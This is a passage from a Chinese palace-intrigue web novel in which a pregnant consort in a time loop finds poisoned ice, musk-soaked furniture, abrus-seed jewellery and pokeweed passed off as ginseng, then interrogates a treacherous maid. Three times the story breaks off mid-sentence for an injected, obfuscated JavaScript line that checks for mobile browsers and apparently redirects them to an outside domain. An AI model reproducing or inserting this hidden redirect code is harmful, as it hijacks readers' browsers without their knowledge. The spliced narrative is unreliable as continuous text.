余光瞥见那一口青花大缸的冰,此刻已尽数化成一泓清水。冷雾散尽,缸壁凝着水珠,滴滴答答砸在地上。 他又检查了江昭的团扇,软枕,锦被等物,并无异常。裴玉百思不得其解,江昭究竟是怎么中的毒?那毒素又从何而来? 裴玉觉得自己的医术仿佛就是个笑话,他膝弯一折,重重跪在青砖地上,面色颓唐,“微臣……无能,竟查不出娘娘缘何中毒,所中何毒,求皇上再派几位太医前来。” 钱安泰办妥差事,避着人悄悄入了坤宁宫,垂袖回禀:“娘娘,冰块已按吩咐送往忘忧宫。” 皇后抬眼:“花房的水仙呢?” 钱安泰躬身:“回娘娘,花株连同汁液皆已处理掉了,不留半点痕迹。待过了风头,奴才寻个间隙,再把那口青花大缸移走,便算彻底干净了。任谁都不会怀疑到娘娘身上。” 皇后端起茶盏,掩住唇角一抹快意的笑:“做的好啊,本宫定不会亏待了你。” ———— 天光大亮。 江昭只觉得头痛欲裂,天旋地转,恶心欲吐,旁边的乐雪也是如此。 胃里翻江倒海,实在没忍住,江昭吐了一场。缓了好一会儿后,江昭才勉强撑起身打量四周——竟然又轮回了?她怔怔抚过尚且平坦的小腹,指尖颤抖。她自诩聪明,不知不觉中还是着了皇后的道了。 皇后真是好手段,无声无息要了她的命,她回忆宫里与往常不同之处,是茉莉?是冰块?是那几碟点心?抑或三者皆有?江昭咬牙,心中暗暗告诫自己:“从今往后,凡带香味的东西,都得敬而远之了。” 与上一回一般无二,江昭先救下四皇子,再恳请皇帝将其留在乾清宫,由皇帝亲自看护。随后,她引皇帝亲耳听见陆瑶的毒计,摆了陆瑶一道,陆瑶当即被贬入冷宫。皇帝亦在此时得知江昭有孕,龙颜大悦,当即晋她为明妃。 翌日晨会,江昭以“胎气不稳”为理由告了假,她无心去听各宫的唇枪舌剑。也没有再去冷宫看陆瑶,生怕节外生枝,听着什么不该听的,又无意间留下什么痕迹。不过,江昭前一日晚上同皇帝说,不知陆瑶是否受人指使,恳请皇帝在冷宫周围增派侍卫,别让陆瑶被人杀人灭口了。 午后,她干脆越过御膳房原定点心菜式,也不管御膳房诸人心思,只命乐雪传话:“暑气蒸人,娘娘只想进些紫苏饮、西瓜露、酥山并绿豆甘草汤,其余一概不用。娘娘说了,天气热,格外想吃这几口,劳烦你们辛苦了。”几句话,把御膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169356|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房的算盘堵得严严实实。 冰镇的饮子端来后,江昭照旧将银针探入,并未变色。她淡淡一笑,却不动匙,只将冰盏留在小几上。 等了许久,待到碎冰在温度作用下在盏中悄然融化,当最后一粒冰晶消失时,银针再探,针尖竟泛出浅浅乌青。“果然。”江昭低语。皇后实在狡猾,冰块完好时毒性微弱,银针难以测出,待其融化,毒缓缓渗出,既无异味,也难被察觉。 上一回,她未吃这些饮子,并未中招。皇后怕她在晚膳时同皇上开口,眼见一计不成,再生一计,想必都是用的这些在冰块中□□的法子。想到愈发浓郁的花香,看来茉莉,是这计策中必不可少的一环,起着掩人耳目的作用。难为皇后想出此毒计,也不知提前多久便做好了准备。 如今她并未撞破皇后的秘密,皇后不急着置她于死地,但她身怀龙嗣,亦是皇后的眼中钉,恐怕这些冰块中藏着的是慢性毒药了。 下午,钱安泰照旧领了一缸冰与数盆茉莉来到忘忧宫。江昭含笑收下,送走钱安泰后转头直奔乾清宫,跪在地上泪如雨下:“皇上,御膳房和内务府要害臣妾!钱安泰明面上是奉您之命,实则早已被皇后收买,要害臣妾与臣妾腹中龙嗣!臣妾不知哪里得罪了皇后姐姐,竟要她下如此毒手!” 皇帝将江昭扶起,面露不悦:“你仔细说来。” 江昭泪珠簌簌而落,哽咽道:“御膳房送来冰镇饮子以解暑气,谁料冰块中竟暗藏慢毒,天长地久的,蚕食臣妾的身子,断绝龙嗣的生机。臣妾用膳时,相生相克的,活血化瘀的,寒凉滑利的,都千方百计地到了臣妾的饮食中,摆上了臣妾的膳桌。” “内务府的钱公公奉您之命,抬来的冰块中竟也藏了毒,他还特特带了茉莉花,说是为臣妾清心安眠,实则借此掩盖冰块散发的药味。若非臣妾警醒,就要遭殃了!试问谁能有如此大的本事向御膳房伸手?又是谁如此想要伤臣妾的胎?臣妾思来想去,此番,恐怕是臣妾的孩子碍了大皇子的道了!” 好一个御膳房!好一个内务府!皇帝指腹轻拂江昭的脸颊,为江昭拭去眼泪,声音极低,透出森冷杀意:“常福全。” 常福全立即躬身:“奴才在。” “即刻将钱安泰和御膳房经手之人,押入慎刑司,严刑拷问,务必给朕吐出实话来。” 他顿了顿,目光转向殿外:“皇后……暂居坤宁宫,无朕旨意,任何人不得出。宫务交由穆妃、贤妃协理。” 江昭泪水未止,又俯身欲拜:“若皇上仍有疑虑,不妨召陆瑶一问,看她是否受皇后驱使,假意与臣妾和宁姐姐交好,实则伺机暗害。臣妾自问对皇后姐姐恭敬,对陆瑶真心,臣妾不明白,为何落得如此下场!” 皇帝扶住她:“朕自会查个水落石出。你安心养胎,其余交给朕。” 皇帝温声安慰良久后,命宫人备软轿,将江昭送回了忘忧宫。又将身边自幼随侍的心腹,锦绣姑姑指给了江昭,命她仔细照料江昭,凡饮食、汤药、起居皆须亲自把关,不得有失。 20. 第七次轮回(二) 锦绣姑姑一到忘忧宫,立即屏退无关之人,亲自里里外外查了一遍。 她先去瞧那些容易动手脚的地方,拨开帐幔,俯身细嗅床榻,指尖在雕花床沿轻轻一刮,凑到鼻下一闻,脸色立时沉了下来,“娘娘,这上头浸了麝香,天长日久的用着,最伤胞宫肌理,再难有孕。” “本宫还以为是黄花梨木自带的清香”,江昭指尖微颤,也取了一点细闻,果然一股腥甜混在木味里,若不细辨,几乎以为是木料本身。 锦绣又让乐雪取来江昭常穿的衣物,鼻尖轻嗅,眉心蹙了起来:“娘娘,奴婢有句话不知当讲不当讲。” 江昭看着锦绣的神情,便知她又发现了什么,温和道:“姑姑但说无妨。” 锦绣面色凝重:“娘娘的衣服叫人熏了牛膝草,牛膝草活血化瘀,于您这般有孕之人乃是大忌,万万碰不得,何况是每日贴身接触呢?奴婢斗胆,这些衣服日日浣洗,却仍有这般新冽香气,除非每次晾晒后都重新熏过。若非近身或信任之人,断难得手。” 江昭苦笑摇头,叹息道:“不瞒姑姑,随我进宫的丫鬟醉琴已被外人收买,我也是前日才察觉。怪不得每回更衣,都觉有股若有若无的青草香气,还夸那丫头做事仔细周全。” 江昭感慨道:“姑姑真是见多识广。” 锦绣微微一笑,姿态谦卑:“娘娘谬赞,奴婢久在深宫,早年随侍太后,后被太后指去皇上跟前。这些魑魅伎俩,见得多了,自然无所遁形。” “姑姑谦虚了”,江昭把头上的钗簪耳环、腕上的玉镯珠串、腰间的玉佩荷包尽数褪下,又打开妆奁,将平日佩戴的一匣首饰悉数倒出:“劳烦姑姑帮我看看,这些首饰可有不妥?” 锦绣以帕垫手,一件件托起对着日光细看,时不时拨动卡扣、轻嗅气味、掂量重量,看看是否藏了药物或是被药物浸泡过,果真找着了几件,或是御赐的,或是内务府进的,或是皇后赏的,或是陆瑶赠的,叫江昭心里打翻了盐罐子,五味杂陈。 拈起那串殷红手串时,锦绣肃了神色,她将手串递到江昭面前:“娘娘请看——这不是红豆,而是相思子。二者虽然形似,却天差地别。相思子内有剧毒,平日佩戴还好,可经年累月地带着,一旦外壳磨损破损,皮肤接触到了相思子的内里,日积月累必定侵入体内,致人中毒。若叫孩童误食,更会立时丧命。” “娘娘平日膳食也得当心,千万不能将相思子当成红豆食用,否则恐有性命之危。不知这手串,娘娘从何而来?奴婢方才瞧着,您还戴在手上。”锦绣心中疑惑,毕竟这“红豆”手串廉价,明妃不缺珍宝,怎不佩戴那些价值连城的手串,反而戴着这串“红豆”手串呢?实在不合常理。 江昭垂眸,有些落寞之意,她含笑掩饰道:“没什么,原是一时兴起,觉着此物颇有闲趣,便带上了。幸得姑姑提醒,本宫再不佩戴了。” 锦绣见状,识趣地不再追问。 江昭心底泛起寒意,这“红豆”手串是皇上赠给她的,取“相思”之意。她日日佩戴着,皇上也见着好几次,却并未露出什么特别的神色,也没有对她说什么。回想她刚收到这赏赐时,满心欢喜,“愿君多采撷,此物最相思”。可当初寄托了皇上情意的红豆,如今却摇身一变,变成了剧毒的相思子,皇上是知情,还是无心? 轮回这么多次了,江昭便是再愚钝也察觉出了,皇帝根本没有那么爱她,或者说是面上装着爱她,实则暗暗防备她和江家,若机会合适,或江家触犯到他的逆鳞,他便要借题发挥,打压江家。 想想这么多次皇上的反应,江昭终究无法再欺骗自己,皇上啊皇上,你的情意,她终究无福消受。所谓的“相思”,和皇上对她的荣宠一样,都是裹了蜜糖的砒霜罢了。 江昭握住锦绣的手,感激道:“若非姑姑慧眼,本宫至今还被蒙在鼓里,只怕无声无息丢了性命,连怎么死的都不知。” 锦绣道:“娘娘折煞奴婢了。奴婢奉旨前来,只为替娘娘分忧。”又宽慰道:“娘娘且放宽心,平日里做什么,如今便照旧做什么,奴婢会跟着您逐一排查。若是满宫漫无目的地查看,只怕没个头绪,看花了眼也瞧不出来什么。库房旧物繁多,便暂且不查了,娘娘觉得可好?” 江昭无有不应:“姑姑阅历深厚,都听姑姑的。” 江昭唤乐雪泡一杯茶来,便摊开宣纸,润起笔来。锦绣指尖掠过案上宣纸,神色陡沉:“娘娘,这纸不可用。这纸浸过鹿衔草汁。若日日临帖,不知不觉便形同避孕。好在娘娘福气深厚,未受影响,怀上龙嗣,不过也需当心,草汁虽淡,却暗伤胎息。” 江昭闻言皱眉,将笔搁下,避开了案几,吩咐丫鬟收拾了:“内务府的手伸得太长,竟连这样阴毒的法子都想的出来,在本宫的笔墨中动手脚。” 宣纸既用不成,江昭也无法练字了,便端起案旁茶盏,正欲饮下,忽有些迟疑:“姑姑,这君山银针不知怎的闻着有些冲,与往日大不相同,可是我多心了?” 锦绣接过茶盏,晃了晃茶水,细瞧茶水色泽和芽叶形态,细品茶香,又道一声“得罪”,轻抿了一口,道:“娘娘所疑不差。这茶里混了些苦丁茶,闻起来气味辛烈,入口先苦后甘,滋味醇厚,清热消暑,润喉止咳,然则活血下行,乃是伤胎利器,幸好娘娘警醒。” 江昭道:“姑姑经验老道,到底是御前的人。” 话音未落,小安子躬身进来:“娘娘,雪团不知怎的,突然发狂,见人就挠,奴才已将雪团暂且关进了笼子里头”,他说着撸起袖管,“娘娘瞧,奴才都被抓出血痕了,娘娘千万小心。” 江昭扫过那几道血痕,眸色微冷:“又是冲着本宫来的。小安子,你受累了,快去入画那儿取金疮药敷上,再请太医院的小学徒给雪团诊治。好生照料着雪团,别叫她再伤了人。”又吩咐小安子:“把雪团今日吃的、喝的、舔过、碰过的东西,连带她爪子蹭过的垫子、花草,一并取了交予那小学徒,看看可有什么不适宜的、不妥当的刺激了她。” 小安子感激退下。 入画拨开帘子,走了进来,对江昭请示道:“娘娘,将近晚膳了,可要用些补品?内务府刚派人送来了些老山参,说是新进的,补气是最好的。” 江昭微微颔首,“先去取来,与锦绣姑姑看看。” 入画福身退下,不多时带着锦盒来了。 锦绣将锦盒启封,以素帕托了那支老山参,于手掌上细瞧,观其色泽与须纹,翻来覆去瞧了半晌,眉心却越蹙越紧。良久,她叹了口气,实在有些拿捏不定,道:“娘娘,可否将这山参一切两半?” 江昭应允,入画很快将切好的山参捧了回来,锦绣细察那切面,眉头紧锁,将那清晰的同心环纹指给江昭:“娘娘请看——这并非人参,而是商陆。这切面乃是‘罗盘纹’,闻之微辛且麻。而真正的人参断面呈菊花心纹,气味清香独特。商陆同人参外形极为相似,难以分辨,最易被人鱼目混珠。若是误服商陆,轻则中毒滑胎,重则丧命!” 江昭厌恶地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175185|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那“老山参”,恨恨道:“好一出李代桃僵。本宫虽不通药理,却也知神农尝百草,却因商陆饮恨折戟,一命呜呼。若非姑姑,本宫便着了道了!”转头忙吩咐入画,“快去将库房里头的补品都拿出来,给锦绣姑姑瞧瞧,没的还有这样的。” 入画捧匣而返,锦绣逐一检视:人参、虫草、鹿茸、阿胶皆无瑕疵,唯血燕盏色暗红,触之即碎。她取一盏投入清茶,盏屑顷刻晕出浅红,茶水微浊。锦绣低声道:“血燕浸水应呈琥珀金,此盏却暗红速散,显是掺了红曲。红曲活血,孕妇久服必致滑胎。 入画带着乐雪匆匆取了折返,锦绣开始逐一排查。瞧了人参、虫草、鹿茸、阿胶,皆无异色,待到血燕时,面露疑色。那血燕盏形大且干净,只是色泽暗红。她取一片血燕投入清茶,茶水晕出些微末浅红。锦绣道:“旁的都是些好的,只是这血燕,分明是白燕以红曲上色。白燕倒是无妨,但红曲活血,若是久服,恐有滑胎之危。”锦绣心下感慨:这明妃娘娘真是遭人惦记,当今的后宫个个都不是省油的灯啊。 江昭冷哂,气得不住摇头,“真是瞧得起我,用这么高明的手段对付我。这毒下得隐蔽,如今只能小心小心再小心,再怎么小心也不为过,本宫全仰赖姑姑相帮了。” 锦绣恭敬道:“娘娘客气,奴婢自当尽心竭力,护娘娘无虞。” 晚间,用过晚膳后,锦绣叮嘱道:“娘娘孕中不宜焚香,平日膳食是否有相冲相克的,奴婢也会仔细留意的。娘娘稍候,奴婢去回禀皇上,去去就来。”说罢,行了一礼,悄然往乾清宫回话去了。 锦绣不在,江昭捧了一本《白苏斋集》看了好一会儿,乐雪劝道:“看书费心力,娘娘仔细伤神。” 江昭深吸一口气,闭了眼,抬手按住额角,只觉得额角跟着心跳突突直跳,她压下心头的不安,道:“皇后已被禁足,钱安泰也被革了职,内务府怎的还送来了商陆这般的毒药?” “莫非皇后不死心,蓄意报复?” 江昭摇摇头:“不会是她。如今正是风口浪尖,皇上疑心最重之时,皇后撇清都来不及,怎会上赶着给本宫递把柄。只是,我心头总是隐隐不安,总觉得还有人躲在暗处,虎视眈眈,要害我。否则,皇后出事,她只会忙着拯救她在皇上心中的形象,怎敢再动我?她现在只怕是,宫里最不希望我出事的人。乐雪,你说会不会有人,躲在更深的地方?我实在是怕,怕功亏一篑,前功尽弃。” 乐雪担忧地看着她:“娘娘别怕,咱们如今有锦绣姑姑坐镇,那些害人的东西都近不了娘娘的身。” 江昭直觉不妙,乐雪的话并不能打消她的不安:“虽有锦绣姑姑帮衬着,可那些人见害不了我,会不会转头又想出其他毒计来对付我。” 乐雪也没有办法,只能干巴巴地安慰:“娘娘别怕,兵来将挡,水来土掩。如今咱们先知先觉,好歹占了先机。” 江昭抬手拭泪:“只有千日做贼的,哪有千日防贼的呢。” 乐雪道:“锦绣姑姑已去回禀皇上了,皇上一定会为您做主的。” 江昭不抱希望:“皇上若是去查,只怕查出来,也是皇后所为,那幕后之人打得就是这个主意,除了本宫的胎,嫁祸皇后,借本宫之手把皇后拉下来,一石二鸟。可我不信是皇后,如今皇后自顾不暇,哪敢再动我?” 只怕幕后另有黑手,究竟是谁?江昭只觉一切如云雾一般,拨开一层,还有一层,前方还是大雾弥漫,云蒸雾缭,看不清楚。如今该怎么破局呢? 21. 第七次轮回(三) 江昭叹了口气,闭了闭眼,复又睁开,打起精神吩咐道:“去把醉琴带来,我有话要问她。” 醉琴被押进来,低垂着头。江昭盯着她:“醉琴,你可想清楚了,可是皇后指使你?本宫给你的时间够多了,若再想不清楚,命也不必留着了。别说本宫没给过你机会,再不老实交代,别怪本宫不留情面。”江昭经历了那么多的背叛,又得知了醉琴一直以来的小动作,和醉琴的情分也消磨了个干净,现下也不再心软,只是想看看她身上有没有什么突破口。 许是在库房里受够了冷落,醉琴猛地抬头,倔强道:“娘娘别叫我的名字。奴婢不喜欢这个名字。我有自己的名字,我叫,苏意婉。” 江昭秀眉轻蹙,又问了一遍:“苏意婉,可是皇后指使你?” “并非。” “那是何人指使?” 醉琴这时却撇过头去,不看江昭,闭口不言,不做回答。 江昭见状,早有预料,也不失望,换了个问题:“你知道本宫有孕了,是也不是?” “不错,我负责你贴身衣物的浣洗,留意到你月事未来,人也倦怠,便知八九不离十了。” 江昭气笑了:“你果真仔细,只可惜心思不用在正道上。你那主子也知道了?” “不错。” “是她授意或胁迫你害我?” “不是,是我自己所为,与她无关,她不过为我提供帮助罢了。” 江昭道:“本宫对你不好吗?” 醉琴垂眸,眼神微闪:“你待我自然是好。” “你恨我?” “我并无此心。” 江昭不解:“那你为何害我?你究竟有何苦衷?说出来,难道我不为你做主?你是我信任倚重之人啊,素日里我全仰赖你和乐雪相帮,才能走到现在。你们的付出我都看在眼里,必不负尔等忠心。总想着等你们年岁到了,一定要为你们寻得好的归宿,才好全了咱们的这一番情谊。可是……你为什么背叛我,伙同外人,欲致我于死地,真真叫我心寒。我哪里对不起你,要你下如此毒手?” 醉琴道:“娘娘没有对不起我,只是……” 江昭黯然道:“你有什么不甘心的,今日尽数说出来。本宫要你知无不言,言无不尽。” 醉琴只是默然。 江昭无奈:“莫非你想成为宫妃?只要你说,本宫绝无阻拦之意,根本不会碍着你的道。” “偌大的皇城,红墙金瓦围起了四方的天,我无意成为宫妃,也不想进宫。” “那你为何进宫?入宫前我问你,是否愿意随我入宫,你口口声声不离不弃,心甘情愿,竟是哄我的。若你不愿,当时为何不坦诚,藏着掖着,倒像谁委屈了你!” 醉琴面有愧色,只道:“是我对不住你。” 江昭百思不得其解,想起那些画本子上的狗血情节,有些不信,但还是将信将疑问道:“难道你是我父亲流落在外的女儿?” 不料好像触到了醉琴敏感的神经:“江越算什么东西,也配做我父亲?我恨不得将他千刀万剐!” 江昭敏锐地察觉到了什么:“你恨我父亲?所以报复在我身上?我父亲做了什么对不起你的事?” 醉琴双目迸发出仇恨的火花,恨恨道:“事到如今,我也不瞒你了。我本命苏意婉,原也是大家小姐,父亲是大理寺左寺丞苏遇。多年前,父亲因案获罪,被革职抄家,家产尽数充公。母亲病亡,父兄流放途中病逝,只留我孤身一人,流落街头,穷苦潦倒,为求生计,实在无法,只得自卖为奴。” 江昭惊讶这般内情,“你是罪臣之后?” “我本是清白人家的女儿,我不是罪臣之后!我爹也不是有罪之人!所以我讨厌这个名字,醉琴,醉琴,我爹无罪!他是被冤枉的!” “你既不喜欢我给你取的名字,大可说出来,难道为着这个害我?听你这般说,江家不该对你有恩吗?” “当然不是,你待我好,对我有恩,这些我都知道,但我没有办法,我真的没有办法。” “大家小姐,奈何沦落为婢,的确令人唏嘘。若你不甘为奴为婢服侍人,我亦能理解,只要你说出来,江家愿意放你自由身。这便是你害人的理由?” “我是故意来到你身边,为的便是报复江越。可惜他防备严密,又不时常去看你。我势单力薄,可恨找不到机会下手。” 醉琴仰着脸不屈道:“我父亲并未犯事,处理江起之案时不过是秉公办理,江起却怀恨在心,构陷弹劾我父亲,害得我家破人亡。我也知道不是你的错,可是,你叫我怎能不恨!” 江昭道:“江起?江家旁支之人,与我父亲关系很远。你是很可怜,可你说的这些与我父亲何干?” 醉琴面色黯淡:“我不杀伯仁,伯仁却因我而死。江起如此嚣张,藐视王法,陷害朝廷命官,还不是仰仗江越。是江越给了他底气,给了他支持,帮他扫尾,帮他摆平。我知道你们大家族中乌烟瘴气,尾大不掉,像江起这样的纨绔子弟,家族毒瘤自然不少,可你们大家族也一荣俱荣,一损俱损,还是会庇护他们,这叫我怎能甘心!这一切,都是因为江越!我终于意识到,江越不死,江起就永远无法扳倒。父债子偿,我杀不了江越,那只能你来偿还了。” “你若是对我坦诚以对,以我们多年相伴的情谊,我会帮你处置了江起,为你家平反,恢复你苏家小姐的身份,让你不再是罪臣之女,还会放你自由身,难道你不信我?” “我自然相信,可惜你从前人微言轻,在府中并无地位。我试探过江越是否知道江起,可他却起了疑心,讳莫如深,避之不谈,我便知晓他包庇的态度了。” “那入了宫你总归可以告诉我,而不是帮着兰嫔一次次地害我。成了宫嫔,我不再是人微言轻,却是位高权重,便是江家也得敬重、顾忌几分。” 江昭涩然道:“你说了这么多,还是掩盖不了你敢动罪魁祸首,只敢把刀尖对准我。说穿了,不过是你懦弱,给自己找个心安理得的借口。你懦弱无能,你自欺欺人,你用可怜来粉饰太平,你用报仇来麻木自己。可你一开始就报错了仇,血债血偿,你去找江起啊。这样的理由,我不接受。谁犯下的过错,就由谁承担,一人做事一人当。我并未伤害你,凭什么要被这样对待?” “我对娘娘有过真心,可惜真心瞬息万变。” 江昭摆摆手,吩咐人将醉琴带下去。闭上眼睛,任泪水落下。父债子偿……父债子偿,若是因为这个,她也可以接受,她也可以理解。可是江起惹下的祸事,却要怪罪到她父亲身上,她万万不能接受。 醉琴既不肯交代是谁指使,除了皇后,还有谁能差使得动内务府的人为她做事呢?穆妃?贤妃?兰嫔?荣嫔?皇上?太后? 不会是贤妃,唐芷宁爱憎分明,爱之欲其生,恶之欲其死,她救了四皇子,贤妃感激她还来不及。荣嫔?江昭不得不承认,江萤没这个本事。皇上?皇上虽对她和江家防备,可虎毒不食子,皇上若不想要这个孩子,大可不必如此迂回。太后?她尚未对付付璃,太后若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185229|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害她的亲孙子,便伤了她和皇上的感情。那便是穆妃和兰嫔中的其中一人了,究竟谁是那个幕后黑手? 穆妃宽和敦厚,兰嫔蕙质兰心,二人素来友善,于她也是井水不犯河水,乃是淡淡的君子之交。她们二人是难得的中立之派,有时看不过去,还会仗义执言,帮她几句。二人皆无皇子,但皆有一女,一宫主位,地位稳固,有何动机要害她呢?江昭决定,还是等锦绣姑姑回来,问问从前潜邸时,有无什么她不知道的内情。说来,锦绣姑姑怎么去了这么久,还没回来? 却听得脚步声匆匆,锦绣快步走进,压低声音道:“娘娘,奴婢御前交好的老姐妹说,晚间钦天监之人求见皇上,说夜观星象,有彗星扫太微之象,竟直指娘娘此胎‘不祥’,乃是妖星,犯人君,将威胁君王。太后闻言,说静贵人亦有孕了,而娘娘之父权倾朝野,若留此胎,恐生变数。皇上举棋不定,终究未允,却传问太医可知男女。太医回‘尚早难辨’。皇上之意已明,娘娘务必慎之又慎,早做打算!” 江昭的手攥紧了帕子:“荒谬!皇上竟信了?这纯属无稽之谈,摆明了是冲着本宫腹中之子来的。多谢姑姑告知。”江昭六神无主,但强迫自己冷静下来。皇上不一定不知道这是别人的算计,可父亲的权势威胁到他了,天象之说,不过是给皇帝一个明面上的台阶罢了,如今他只是在权衡罢了。这与江昭准备借皇帝这把刀,除去付璃之子异曲同工。 凭借江昭对皇帝的了解,过不了多久,等到皇帝知道这孩子是男是女后,恐怕便要动手了。纵有裴玉帮忙遮掩孩子性别,可太医院那么多太医,实在是纸包不住火。甚至皇帝可能都等不了多久,他视江家为心腹大患,若他疑心四起,觉得女帝也是个威胁,纵是个公主,只怕是也容不下了。 她的孩子不能活在父亲的猜疑里,不能活在这种生死都在别人一念之间,岌岌可危的境地里,若要这样度过怀胎十月,她怕自己会疯掉。 这一局已然败了,实在是太被动了,说到底,只有千日做贼的,哪有千日防贼的呢?长痛不如短痛,江昭打定主意一死重来,但死前,她一定要拉着那个幕后真凶一起去死! 江昭面上波澜不兴,问锦绣道:“姑姑是皇上身边的老人儿了,不知从前在潜邸时,穆妃和兰嫔可还有过其他孩子?” 锦绣垂眸回忆道:“娘娘容奴婢想想……穆妃娘娘曾育有一子,可惜没养住,出生后不久便不幸病逝。皇上伤心,因此那孩子连排行也不曾上,穆妃娘娘自此便淡了争宠之心,愈发深居简出。兰嫔娘娘也曾有孕六月,后来不慎小产,从此愈发如空谷幽兰一般了。” 江昭唏嘘:“竟有如此之事。” 江昭又问道:“若让姑姑评价这二位,姑姑会如何评价?” 锦绣道:“奴婢斗胆,穆妃娘娘有些侠义之气,恩怨分明。兰嫔娘娘……奴婢却有些看不透,温雅可亲,却好像隔着一层冰,只觉得似乎是个外热内冷的人。不过奴婢说的不一定准,在奴婢眼中,诸位娘娘皆是和善之人。” 捉摸不透好啊,她找的就是心思深沉之人,江昭微笑:“本宫明白了,姑姑实在谦虚。姑姑看人眼光毒辣,准得很,本宫相信姑姑。本宫想到一事,可否劳烦姑姑去毓秀宫将兰嫔请来,就说本宫有事讨教。” 锦绣福一福:“自当为娘娘效力。” 江昭将梳头的桂花油和花露油洒在室内的各个角落,又江昭命人取来十几支蜡烛,依次点燃,置于鎏金灯架上,端端正正摆在门边。烛火成排,风一吹,光影在墙上跳跃。